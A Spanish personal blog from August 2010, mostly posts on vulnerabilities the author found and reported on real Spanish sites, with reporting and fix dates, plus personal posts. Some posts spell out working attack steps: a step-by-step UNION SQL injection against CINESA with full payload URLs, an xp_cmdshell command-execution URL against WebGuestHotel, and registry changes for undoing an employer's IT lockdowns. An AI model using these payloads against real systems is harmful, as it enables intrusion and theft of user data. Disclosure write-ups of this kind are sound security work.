lunes, 30 de agosto de 2010

La web de CINESA vulnerable (2/2)

Como ya comentaba hace unos días, la conocida web de CINESA tenia ciertas vulnerabilidades que podian poner en peligro a los usuarios que accedian a ella. Finalmente, después de casi un mes he conseguido conversar con los responsables de la web para que pudieran solucionar las incidencias.

La web esta desarrollada en ASP.NET (utilizando C# bajo el Framework 2.0) con acceso a un servidor de datos SQL Server 2005 todo ello corriendo en Windows NT 5.2 ¿como se podia averiguar todo esto? Vamos a verlo:

Saber que la web está desarrollada en ASP.NET no es dificil ya que sus páginas tienen extensión .aspx, por ejemplo http://www.cinesa.es/cines/cines2.aspx?id=631 pero si queremos tener confirmación sobre esto basta con producir un error en la página, por ejemplo, cambiando el código del parámetro id por algún valor no válido o, simplemente, abriendo esa página sin indicar ningún valor para el parámetro, es decir http://www.cinesa.es/cines/cines2.aspx?id=

Este mensaje de error nunca debería mostrarse en un entorno de producción pero al parecer la aplicación tenia habilitado el modo debug lo que hace que se mostrasen mensajes de error bastante detallados. Concretamente en este, nos da información sobre el lenguaje utilizado (la extensión .cs corresponde a C Sharp) y se indica claramente que se utiliza ASP.NET y Framework 2.0. Además también muestra la ruta completa del archivo (d:\WebCinesa\Production\cines\cines2.aspx.cs) lo que, posteriormente, veremos que podia ser utilizado para visualizar su contenido.

Para saber que la base de datos utilizada es SQL Server 2005 podiamos acceder a la página de promociones que era vulnerable a inyección sql y preguntarselo directamente utilizando la función @@version. Pero antes vamos a ver como se podía forzar dicha inyección sql en la página http://www.cinesa.es/promociones/landing.aspx?promo=66. Esta página muestra una imagen donde se encuentra la promoción junto con un link asociado a la misma, es de suponer que tanto la ruta de la imagen y el link se obtienen desde base de datos en función del código de la promoción (66) por lo que podemos intentar un UNION para devolver la ruta y el link que deseemos.

Si accediamos a la URL http://www.cinesa.es/promociones/landing.aspx?promo=66 union select 1 se mostraba un mensaje de error que decia "Todas las consultas combinadas que usan un operador UNION, INTERSECT o EXCEPT deben tener el mismo número de expresiones en sus listas de destino." lo que nos confirma que la inyección sql era efectiva y que estabamos en el "buen" camino así que solo quedaba ir añadiendo campos hasta que la consulta resultante fuera válida.

Al llegar a la URL http://www.cinesa.es/promociones/landing.aspx?promo=66 union select 1,2,3,4,5,6,7,8,9,10,11 el mensaje de error cambiaba y mostraba lo siguiente: "Conflicto de tipos de operandos: text es incompatible con int", esto se debia a que los campos que intentabamos añadir a la consulta eran del tipo int pero la consulta original esperaba un campo de tipo text. Como no sabemos que campo es el que nos esta mostrando el error lo mejor seria convertirlos todos en text, para lo cual simplemente se les añaden unas comillas simples quedando la siguiente URL http://www.cinesa.es/promociones/landing.aspx?promo=66 union select '1','2','3','4','5','6','7','8','9','10','11' pero nuevamente se obtenia un mensaje de error, en esta ocasión decia: "El tipo de datos text no se puede seleccionar como DISTINCT porque no es comparable.". Parece ser que la consulta original utilizaba DISTINCT para seleccionar dos registros y no es posible hacer un DISTINCT en campos de tipo text pero esto se soluciona facilmente utilizando UNION ALL en lugar de UNION, es decir, http://www.cinesa.es/promociones/landing.aspx?promo=66 union all select '1','2','3','4','5','6','7','8','9','10','11'.

Como veis poco a poco se van solventando los distintos errores que van apareciendo pero aún nos quedan unos pocos más hasta conseguir nuestro objetivo. Ahora tenemos en pantalla el mensaje: "Error de conversión al convertir una cadena de caracteres a datetime." lo que quiere decir que alguno de los campos debe ser de tipo datetime y nuevamente no sabemos cual es asi que en lugar de escribir los valores 1,2,3... introduciremos valores que sean representables como datetime, por ejemplo 20100801,20100802,..., quedando la URL de la siguiente forma: http://www.cinesa.es/promociones/landing.aspx?promo=66 union all select '20100801', '20100802', '20100803', '20100804', '20100805', '20100806', '20100807', '20100808', '20100809', '20100810', '20100811' y, ¡sorpresa!, la página de la promoción se mostraba sin ningún error.

Ahora ya tenemos nuestra consulta en ejecución sin errores pero si quisieramos saber que campos son los campos datetime se podian volver a poner los valores 1,2,3... en lugar de las fechas introducidas. Este cambio habria que hacerlo campo a campo para ver cual de ellos nos devuelve la página sin errores y cual nos muestra un error. Al final vemos que solo hay dos campos de tipo datetime, concretamente el tercero y el cuarto lo que me hace pensar en el típico par de fechas "desde/hasta", algo así como la validez de la promoción así que pondremos un rango de fechas válido, por ejemplo 20100803 y 20990804 quedando la URL: http://www.cinesa.es/promociones/landing.aspx?promo=66 union all select '1','2','20100803','20110804','5','6','7','8','9','10','11' y para que en lugar de mostrarse la promoción 66 se mostrasen los datos de nuestra consulta inyectada solo hay que indicar un código de promoción inexistente, por ejemplo, -66, es decir, http://www.cinesa.es/promociones/landing.aspx?promo=-66 union all select '1','2','20100803','20110804','5','6','7','8','9','10','11' lo que mostraba la siguiente página:

En esta página podemos ver que se intentaba mostrar una imagen y que dicha imagen tenia un enlace asociado. Accediendo al código fuente de la página se ve que la imagen que se intentaba mostrar es "/promociones/manager/1/911" y el enlace apuntaba a "7" lo que da que pensar que los campos utilizados para montar la url de la imagen son el campo 1, 9 y 11 mientras que el enlace es el campo 7.


Si haciamos la prueba y sustituiamos nuestro campo '7' por 'http://www.google.es', es decir: http://www.cinesa.es/promociones/landing.aspx?promo=-66 union all select '1','2','20100803','20110804','5','6','http://www.google.es','8','9','10','11'.


Podiamos ver que, efectivamente, la url del enlace mostraba el link a Google con lo que quedaba confirmado que la inyección sql se realizaba correctamente y es en este momento cuando se podia acceder a la base de datos tal y como se decia ateriormente, por ejemplo, para obtener la versión de la misma. En lugar de poner el link a Google simplemente se podría poner la sentencia sql que devuelve la versión de la base de datos @@version, quedando la url de la página así: http://www.cinesa.es/promociones/landing.aspx?promo=-66 union all select '1','2','20100803','20110804','5','6',@@version,'8','9','10','11'


Se puede apreciar que el enlace al que apunta la imagen contenia el texto "Microsoft SQL Server 2005" pero para verlo más comodamente podemos acceder al código fuente de la página.


Una vez hecho esto ya tenemos toda la información que os daba al comienzo de este post pero evidentemente se podía tener acceso a mucha más información, como por ejemplo, a la lista de tablas existentes en el servidor (y a sus datos).

Full Path Disclosure
Al principio comentaba que en uno de los mensajes de error se mostraba la ruta completa de una de las páginas (Full Path Disclosure), concretamente el error se producia en la página cines2.aspx y se mostraba la ruta d:\WebCinesa\Production\cines\cines2.aspx.cs. Esto supone dos problemas, el primero es que no se deberia mostrar la ruta y el segundo es que se hace referencia al archivo cines2.aspx.cs en lugar de a cines2.aspx lo cual me hace pensar que el archivo cines2.aspx.cs también se encuentra accesible. Los archivos con extensión .cs son archivos con el código fuente y realmente no son necesarios una vez compilada la aplicación pero parece que también los han subido a producción.

Si intentamos acceder al archivo cines2.aspx.cs desde el explorador (http://www.cinesa.es/cines/cines2.aspx.cs) obtenemos un mensaje de error debido a que el FrameWork bloquea el acceso a los archivos de código fuente (por seguridad)


Pero gracias a la inyección SQL se podia leer el archivo cines2.aspx.cs línea a línea. Por ejemplo, podíamos utilizar la instrucción BULK INSERT de SQL indicando la ruta completa del archivo para cargarlo en una tabla temporal de SQL y luego mostrar el contenido de dicha tabla utilizando la SELECT que vimos anteriormente mostrandose de la siguiente forma:


O bien visualizarlo directamente utilizando xp_cmdshell para copiarlo con una extensión que el FrameWork no bloquee.


Además, con xp_cmdshell teníamos una shell completa en el servidor por lo que era posible incluso examinar los directorios y archivos que no son accesibles desde el servidor web.
En fin que visto lo visto no era dificil acceder al servidor de CINESA y a sus datos con lo que no solo se ponia en peligro la web sino también a los usuarios registrados ya que es posible acceder a información confidencial.

Fecha de comunicación del problema: 06/08/2010
Fecha de resolución: 30/08/2010

viernes, 27 de agosto de 2010

Troyano en la web del hotel JC1

La web de un conocido hotel murciano, el JC1, ha sido infectada por un troyano que intenta descargar malware desde distintos dominios como marketgid.com, deviantart.com o gumtree.com. McAfee ha reportado que estos dominios alojan distintos ficheros considerados maliciosos.


La infección se realiza al entrar en la página principal que contiene el script AC_RunActiveContent.js encargado de la reproducción de un archivo flash en la parte central de la misma.


El archivo AC_RunActiveContent.js ha sido manipulado ya que, al abrirlo, podemos ver que mantiene parte del código original de Adobe pero en las últimas líneas aparece código "extraño" y ajeno a la empresa.



Detección del problema: 27/08/2010
Comunicado a la empresa: 27/08/2010
Resolución: 30/08/2010

miércoles, 25 de agosto de 2010

EHBOX, gestión de reservas online

Hace ya unos días comentaba los problemas detectados en la web de WebGuestHotel dedicada a la gestión de reservas hoteleras pero existen otras muchas empresas dedicadas a esto, como EHBOX que también tiene su motor de reservas y da servicio a más de 700 hoteles repartidos por casi todo el mundo.

Algo que llama la atención rápidamente es que parece que todos los hoteles que utilizan este sistema de reservas son de cuatro o más estrellas lo que hace suponer que la seguridad es un factor importante y es grato ver que la gestión de reservas utiliza el protocolo https algo bastante lógico si se desea transmitir confianza al realizar pagos online.

Veamos como funciona el motor de EHBOX accediendo a uno de los hoteles que utilizan este sistema, por ejemplo, el "Grand Hotel Central" de Barcelona. Al acceder a la opción de reservas tenemos que seleccionar la fecha de entrada y la de salida del hotel así como el número de adultos que ocuparán la habitación, una vez hecho esto procederemo a pulsar el botón "Ver disponibilidad"

Justo en ese momento se abrirá una nueva ventana donde podemos ver el motor de reservas de EHBOX en acción.

y pese a que la URL tiene algunos parámetros no he visto que ninguno cause ningún problema pero si me he fijado que el enlace "Información del hotel" abre una nueva ventana con la URL https://bookings.ehbox.com/hotel-info.php?hotel=179&lang=es y es en dicha URL donde empiezan los problemas. Esta nueva página toma como parámetro el código del hotel y el idioma en el cual se mostrará la información.


Si modificamos el parámetro hotel añadiendo una comilla simple se muestran una serie de errores que hacen referencia a MySQL y donde se puede ver la ruta completa de un par de archivos del servidor (Full Path Disclosure)

Al ver que el error esta relacionado con MySQL da que pensar que tal vez esta página este afectada por una vulnerabilidad de inyección sql cosa que no será muy dificil de ver ya que si intentamos el típico UNION SELECT 1 vemos que el mensaje de error cambia y que además se muestra la información de la base de datos aunque no parece estar relacionada con el hotel en cuestión pero aún así, tiene "buena pinta"



Si seguimos añadiendo campos a nuestra consulta de unión, es decir,
...

vemos que finalmente encontramos un resultado válido y es en este momento donde podremos acceder al servidor de bases de datos.

Podemos saber que versión de MySQL se está utilizando simplemente susituyendo alguno de los campos que se muestran (4,6,11,5,8,9) por la sentencia version() propia del lenguaje MySQL

o hacer cosas más interesantes como acceder a la listas de todas las tablas existentes en el servidor y a su contenido.

De esta forma podemos acceder a información relacionada con las reservas realizadas, los clientes, hoteles e incluso los usuarios que acceden a la página. También se puede acceder a otras bases de datos alojadas en el mismo servidor, por ejemplo, hay una base de datos llamada "intranet" que también parece contener información bastante interesante.

Pese a todo, debo reconocer que el problema de esta página (hotel-info.php) parece un fallo puntual ya que no he detectado ninguna otra página que no filtre los parámetros de entrada y veo que si se han tomado otras medidas de seguridad como la de no permitir la lectura/escritura de ficheros del servidor desde MySQL o guardar las contraseñas encriptadas en la base de datos.


Intenté ponerme en contacto con la empresa mediante una dirección de correo electrónico que aparece en su página web pero el correo me fué devuelto así que les deje un comentario utilizando el formulario de contacto de la misma y no tardaron en comunicarse conmigo para ver cual era el problema. A día de hoy parece que ya lo han resuelto aunque nadie se ha puesto en contacto conmigo para confirmarmelo.

Detección del problema: 18/08/2010
Comunicado a la empresa: 21/08/2010
Resolución: 24/08/2010

lunes, 23 de agosto de 2010

Algunos trucos del Registro de Windows

Estas son algunas opciones que he vuelto a habilitar de mi equipo tras el paso del "Administrador de Sistemas" por él.

- Habilitar el acceso a Regedit:

Como comenté, podemos descargar otro software alternativo al editor de Registro de Windows como RegAlizer y después, con el registro abierto, ir a la clave HKEY_CURRENT_USER\Software\Microsoft\Windows\Policies\System y establecer el valor DisableRegistryTools a 0

También puede ser interesante activar/desactivar el "Administrador de tareas" mediante la clave DisableTaskMgr dandole el valor 1 o 0.

- Opciones de Internet Explorer que han desaparecido:

HKEY_CURRENT_USER\Software\Policies\Microsoft\InternetExplorer\controlpanel

Aquí hay varias claves para poner a 0 (suelen corresponder a las pestañas de las opciones de Explorer)

- Cambiar las propiedades de pantalla:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

Y editar el valor NoDispCPL a 0

- Habilitar los puertos USB que están como sólo lectura:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicesPolicies

Y ahí buscar WriteProtect (dword), si tiene valor 1 indica que la protección esta activada (no se puede escribir) y con valor 0 esta desactivada.

- Habilitar los puertos USB deshabilitados:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor

- Control del salvapantallas:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Control Panel\Desktop

ScreenSaveActive: 1 indica que el salvapantallas esta activado (0 desactivado)
SCRNSAVE.EXE: Nombre del salvapantallas utilizado
ScreenSaverIsSecure: 1 indica que el salvapantallas tiene habilitada la protección con contraseña
ScreenSaveTimeOut: Indica el tiempo en segundos en el que se activa el salvapantallas.

- Modificar el tamaño de las imágenes de vista previa en las carpetas de windows:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer

ThumbnailSize: Indica el tamaño de la previsualización. El valor esta en hexadecimal, por ejemplo 40 corresponde con 64x64 pixel (64 = 40 en hex).

Espero que esto os sirva en alguna ocasión.

viernes, 20 de agosto de 2010

Administradores de Sistemas en grandes empresas

He aquí, una pequeña crítica a todos aquellos grandes profesionales que son los administradores de Sistemas. Mi caso es el de un Consultor informático (como tantos que hay) al que, en ocasiones, no dejan hacer su trabajo estos curiosos personajes. Cada vez que me voy de vacaciones me encuentro con que, por ejemplo, me han desactivado la opción de "Ejecutar" del Menú de Inicio de Windows (Sí, ya sé que no es imprescindible, pero fastidia), acceso al Registro y otras cosas por el estilo, como acceso por FTP o telnet a las máquinas con las que trabajo, no ser administrador de mi propio PC para instalar programas con los que preciso trabajar (cliente de telnet avanzado, etc), desactivar los USB, etc. Todo pasa por hacer una petición a este personal para que, si a ellos les parece bien, instalártelo y si consideran que no es necesario, pues vete olvidando del tema.

Por supuesto, internet es poder y hay infinidad de páginas donde se explica la solución a estos problemas además. Y así, día tras día, consigo completar mi jornada laboral habiendo cumplido mis quehaceres. Por tanto, esto es un llamamiento a los Administradores de Sistema: "Señores, miren bien el perfil del ordenador al que restringen los accesos. No es lo mismo un usuario final, que va a usar un programa como lo haría un administrativo o un desarrollador de aplicaciones, que tiene que tener acceso casi ilimitado a máquinas, recursos y demás". "Que sí, que ya sé que tienen que justificar su trabajo y tienen mucho tiempo libre para maquinar sobre qué recursos recortar pero déjenlo estar".

La web de CINESA vulnerable (1/2)

Los conocidos cines de CINESA atraen millones de personas al año y su web, pese a no tener un número tan elevado de visitas, también cuenta con gran aceptación.

En su web, desarrollada en ASP.NET, he detectado varias vulnerabilidades críticas pero no he conseguido contactar con ningún responsable de la misma así que por el momento no puedo hacer más que recomendar máxima prudencia si os decidis a utilizarla y, si ya sois miembros, os recomiendo que cambies vuestras contraseñas, sobre todo la del correo electrónico utilizado al registraros en dicha web.


Fecha de comunicación del problema: 06/08/2010
Fecha de resolución: 30/08/2010 (más información)

jueves, 19 de agosto de 2010

Inundaciones en Puerto de Mazarrón

Todos los veranos es igual, con la llegada del final del verano llegan las lluvias y con ellas, las inundaciones en muchas localidades costeras de España pero parece ser que en el Puerto de Mazarrón no tienen demasiada memoria porque desde hace años siempre ha sucedido esto, no es algo excepcional, no es que este año haya habido más lluvias que el anterior ni nada por el estilo, siempre sucede lo mismo y año si año también vemos las típicas fotografías de gente que saca sus barcas hinchables y se lanza a navegar por las calles inundadas.

Desde que era niño (hace más de 20 años) he veraneado allí y recuerdo que era yo, en muchas ocasiones, quien salia con la barquita hinchable o con la bicicleta a pasear por las calles llenas de agua. Era divertido y la gente no se hacia tanto problema como ahora. Se que hay mucha gente que ha sufrido desgracias personales y materiales con motivo de las lluvias pero no me parece justo que nos quejemos ahora de cosas que pasan desde hace años y vengamos a echar la culpa de estas inundaciones a cualquier cosa tenga sentido o no.


Si que es cierto que en muchas ocasiones parte de los problemas generados por las lluvias podrian evitarse pero también deberiamos pensar que no todas las construcciones no estan en el mejor sitio posible y que solucionarlo podría suponer el tener que derribar muchas de las edificaciones existentes cosa que tampoco haria gracia a la gente que vive allí.

En fin, nunca llueve a gusto de todos.

Imagenes:
La Verdad
Artículo relacionado:
Indignación de los vecinos por los destrozos en Puerto de Mazarrón

miércoles, 18 de agosto de 2010

Malware en ReservaPlazas.com ¿como?

El otro día comentaba el caso del malware detectado en la web de ReservaPlazas.com pero ¿como es posible esto? ¿como es posible que alguien externo infecte nuestra web añadiendole código para que otros se infecten? Parece claro pensar que ha debido existir algún tipo de acceso al servidor donde esta alojada la web, bien acceso físico o mediante una conexión desde el exterior.

El acceso físico, pese a que es posible, es poco frecuente ya que es más complicado acceder a las instalaciones aunque nunca se debe descartar nada pero, en este caso, creo que me voy a decantar por el acceso remoto ya que este tipo de accesos se valen de alguna vulnerabilidad detectada en el servidor para conseguir el acceso total o parcial al mismo.

Si búscamos por internet las urls relacionadas con el ataque (nemohuildiin.ru) veremos que se han producido una serie de ataques a distintos servidores y que la forma de "infectarlos" era actualizar todas las tablas añadiendole un iframe de forma que cuando se muestre cualquier información de los campos afectados aparecerá también la llamada al iframe que descargará el troyano.

¿Quiere decir eso que la web http://www.reservaplazas.com/ tiene alguna vulnerabilidad? pues, a poco que busquemos en la web vemos que si existen multiples vulnerabilidades de inyección SQL lo cual hace bastante posible que sea victima de este tipo de ataques tal y como ha sucedido.

Por ejemplo, para realizar una reserva se utiliza la URL http://www.reservaplazas.com/turnos.asp?nCentros_Actividades=107 donde el parámetro nCentros_Actividades indica el centro donde se desea realizar la reserva.

pero es facil ver que el parámetro nCentros_Actividades no es filtrado y todo aquello que se indique en él será ejecutado como parte de la consulta a base de datos. Veamos el típico ejemplo de unión de dos select, es decir, vamos a intentar hacer un UNION SELECT 1 para ello intentamos acceder a la URL http://www.reservaplazas.com/turnos.asp?nCentros_Actividades=107 union select 1 y podemos ver que se produce un error de SQL Server indicando que las dos consultas deben tener el mismo número de parámetros.

así que ahora solo queda averiguar cuantos parámetros debe tener la consulta por lo que iremos intentando URLs del tipo:
hasta encontrar la url válida.

Una vez hecho esto ya podemos intentar acceder a la tabla sysobjects para listar el contenido de todos los objetos del servidor y acceder a cualquiera de las tablas.


Parece claro que la inyección SQL fué el método utilizado para "infectar" el servidor y distribuir el malware. Realmente el servidor no se "infectó" ya que el malware no se encontraba alojado en él pero si que fué utilizado como pasarela de confianza para que los usuarios se infectaran.

martes, 17 de agosto de 2010

WebGuestHotel, gestión de reservas online

WebGuestHotel es una solución desarrollada por la empresa Vector-K S.A. para la gestión online de reservas en casi 200 hoteles españoles.

Hace unos días, buscando un hotel, me encontré con su módulo de reservas (WebGuestHotel) y la verdad es que me parecio bastante "fragil" ya que la simple modificación de uno de los parámetros de entrada produce un error que nos muestra demasiada información.

Por ejemplo, el hotel Tres Torres de Ibiza es uno de los que utilizan este módulo de reservas.


Al pulsar en "Ver Tarifas y Reservas" se abre una nueva ventana con el módulo en cuestión donde se permite seleccionar el tipo de habitación, el número de personas, etc.


Y si se modifica uno de los parámetros de la url y se añade una comilla simple, =193' se obtiene el siguiente mensaje de error:


Este tipo de errores muestran información muy util para todos aquellos que quieran "fisgonear" en la web, por ejemplo, se puede ver que la solución esta desarrollada en .NET (VB/ASP) y que se accede a un servidor de datos SQL Server. También se aprecia la ruta completa del fichero que ha producido el error (full path disclosure) y, lo más grave, se puede ver que la consulta SQL se ejecuta sin realizar la validación de los parámetros de entrada lo que supone que se puede realizar inyección SQL sobre la misma pero, tal vez, lo más grave aún es que el usuario de base de datos utilizado tiene permiso para ejecutar el procedimiento extendido xp_cmdshell lo cual permite tener acceso total al servidor ya que disponemos de una shell completa, por ejemplo, la siguiente URL

http://www.vectork.net/webguest/xxxxxx/yyyyyyy.aspx?hotel=193;exec master..xp_cmdshell "dir C:\>C:\Http\WEB_VK\webguest\xxxxxxx\resultadoshell.txt"


pese a que muestra un error "Illegal characters in path." se ejecuta correctamente y crea el fichero resultadoshell.txt en una carpeta accesible via web (conocida gracias al full path disclosure visto anteriormente)


Esta claro que este tipo de errores suponen un grave peligro no solo para los usuarios que realizan las reservas sino también para los propios clientes (los hoteles) y, por supuesto, la propia empresa Vector-K ya que es posible modificar la información del servidor, modificar el comportamiento de Windows, crear páginas falsas, acceder al código fuente de WebGuestHotel y muchas cosas más.

Como es de suponer antes de publicar este post me puse en contacto con la empresa la cual solucionó el problema de inmediato y se interesó en todo momento por el estado de seguridad de la web. Debo agradecer su buen hacer a la gente de Vector-K así como sus comentarios y la velocidad de respuesta.

lunes, 16 de agosto de 2010

Malware en ReservaPlazas.com

El ayuntamiento de Murcia dispone de un servicio de reservas de actividades deportivas desde el cual cualquier ciudadano puede realizar la reserva de una pista deportiva, actividades en las piscinas municipales, etc.

A este servicio se accede desde la web http://www.reservaplazas.com/ pero al intentar acceder mediante google (desde el buscador de Google o bien usando Google Chrome) nos advierte de un posible peligro en dicha web.


Efectivamente la web ha sido vulnerada y se ha manipulado para añadir varios iframes ocultos con la intentión de infectar a los usuarios con malware.


Según la web de Symantec se trata de infostealer, un troyano que intenta obtener las contraseñas de los usuarios así como las cuentas bancarias, números de tarjetas, etc.

Intenté ponerme en contacto con la web del ayuntamiento de Murcia pero viendo que no obtenia respuesta decidí hacer contacto telefónico y a las dos de la tarde un técnico se puso a resolver el asunto dando como resultado la caida de la web durante un rato pero finalmente ya está solucionado el problema (16:30) y la web vuelve a estar operativa y limpia de malware.

18/08/2010 - 8:50
Hoy la web vuelve a estar afectada por malware y esto se debe a que no se ha solucionado la vulnerabilidad que permite esta intrusión. Intentaré ponerme en contacto con el tecnico para ver si lo solucionan definitivamente...

18/08/2010 - 10:40
Me comenta el tecnico que van a modificar la programación de la página web para eliminar la inyección SQL y poder limpiar el malware sin riesgo de volver a infectarse. Por el momento la web esta offline.

18/08/2010 - 11:00
La web vuelve a estar activa, limpia del malware y con la inyección SQL "corregida" aunque no estoy demasiado conforme con la forma de solucionarlo pero bueno, es lo que hay.

domingo, 15 de agosto de 2010

Sustituir botonera del mando del C4

Hace unas semanas adquirí la carcasa del mando del C4 ya que la botonera de mi mando se habia deteriorado bastante. Por un error de la tienda donde lo compré no me enviarón exactamente el modelo que yo habia pedido pero me comentarón por email que en ese momento no tenian y viendo que la cosa se demoraria finalmente decidí quedarme con ese modelo ya que, a fin de cuentas funciona igual, la única diferencia es que uno de los dibujos que aparece en la botonera no es el correcto. En fin, ahora lo que faltaba era abrir el mando para intercambiar el espadin, el circuito integrado y dejarlo todo como nuevo.

Abrir el mando a distancia es bastante sencillo, primero hay que quitar la anilla metálica del llavero y después, con algo plano y, a ser posible, de plástico (el metal podría dañar la carcasa) se hace palanca en la parte baja del mando a distancia, donde hay una pequeña muesca (junto a la anilla del llavero) y se abre sin demasiados problemas.

Poner el circuito intengrado en la carcasa nueva no tiene mayor complicación, el problema es sacar el espadin, lo intenté durante un tiempo y busqué información en foros, incluso un conocido (gracias Cristian) me envió un manual, pero viendo que no lo conseguia finalmente lo que hice fué cambiar solo la parte superior de la carcasa (donde están los botones) por la nueva y listo, vale que el resto de la carcasa es la antigua pero no esta demasiado mal y pense que tampoco merecia la pena sacar el espadín con el riesgo de cargarme algo ya que a fin de cuentas lo único que necesitaba era la botonera.

viernes, 6 de agosto de 2010

Wally se pasa a Ferrari

Hace unos dias me llegó un correo con una promoción de la tienda online de Ferrari y me di cuenta se puede hacer un XSS en el buscador de dicha tienda, así que me puse a buscar a Wally y ya veis, no tardé en encontrarlo, se estaba probando una camiseta de Alonso...


En esta ocasión el parámetro de búsqueda no forma parte de la url sino que el formulario se envia por post pero eso realmente no es problema ya que podemos crear una página con el formulario y el script manipulado y enviarlo automáticamente por medio de javascript.


Esto hace que al visualizarse la página de búsqueda se descargue un fichero .js ("oculto" con tinyurl) donde se encuentra el código que visualiza la imagen de Wally pero evidentemente se podria poner cualquier cosa en dicho .js, por ejemplo, un formulario falso para loggearse.

Procedimientos inseguros de Cajamar

Hoy he ido a la oficina de Cajamar a renovar mi tarjeta de claves para las operaciones por internet. Me ha atendido una chica muy amablemente que me ha pedido el DNI, se lo he dicho de memoria, ella lo ha tecleado en el ordenador, me ha dicho mi nombre, se lo he confirmado y acto seguido me ha dado una tarjeta nueva de coordenadas.

Parece que esto es algo normal ya que "se fian" del cliente pero es curioso que no me haya solicitado la identificación física para poder determinar que realmente soy quien digo ser. Se que su protocolo de actuación es pedir la documentación pero parece ser que en muchos casos, por ganar tiempo y no causar esperas al cliente, se saltan algunos pasos con lo que "alguien" podría intentar conseguir una tarjeta de coordenadas simplemente con saber el DNI de una persona.

En fin, de todos modos, antes de irme de la oficina se lo he comentado a la chica y le he enseñado mi documentación.

martes, 3 de agosto de 2010

¿La playa perfecta?

Hoy he visto un reportaje en televisión sobre la Playa de Muro (Mallorca) donde mostraban la calidad y los servicios que ofrece dicha playa. Debo reconocer que la playa esta muy bien cuidada y esta dotada con toda clase de servicios (policia, socorristas, actividades...) pero no todo puede ser tan perfecto, en el reportaje daban la dirección web de la playa asi que quise echarle un vistazo.

A primera vista la web también esta bastante bien cuidada, por lo menos en lo que se refiere al diseño pero me he encontrado con varios errores de injección sql y full path disclosure (descubrimiento de la ruta completa del archivo).
Mediante la inyección sql se puede tener acceso a todo el servidor MySQL.


Pese a todo la playa me ha parecido una gozada.